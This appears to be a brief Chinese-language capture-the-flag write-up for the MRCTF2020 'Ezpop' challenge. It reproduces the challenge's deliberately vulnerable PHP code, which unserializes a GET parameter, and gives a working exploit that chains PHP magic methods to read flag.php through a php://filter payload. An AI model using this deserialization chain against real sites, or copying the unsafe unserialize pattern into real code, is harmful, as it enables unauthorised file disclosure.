WP | [MRCTF2020]Ezpop
阿新 • • 發佈:2020-10-14
2020.10.14
最近開始努力提高程式碼能力
題目程式碼
Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
分析pop鏈
從目標逆向分析觸發條件
結論
根據以上分析,可以得出我們要構造一個Show類,這個類中的屬性source也是一個show類,source下的屬性str是一個Test類,且Test類中的p是一個Modifier類
exp
<?php class Modifier { protected $var="php://filter/read=convert.base64-encode/resource=flag.php"; } class Show{ public $source; public $str; public function __construct($file){ $this->source=$file; } } class Test{ public $p; public function __construct(){ $this->p=new Modifier(); } } $s=new Show(""); $s->str=new Test(); $a=new Show($s); echo urlencode(serialize($a));//為了便於在url中傳輸,我們將結果編碼成url形式
base64解碼後
依然存在的疑問
exp中的類是對比好幾個師傅的wp試出來的,但是為什麼要把str=new Test()放在show類中source下,為什麼source屬性依然要是show類不是很清楚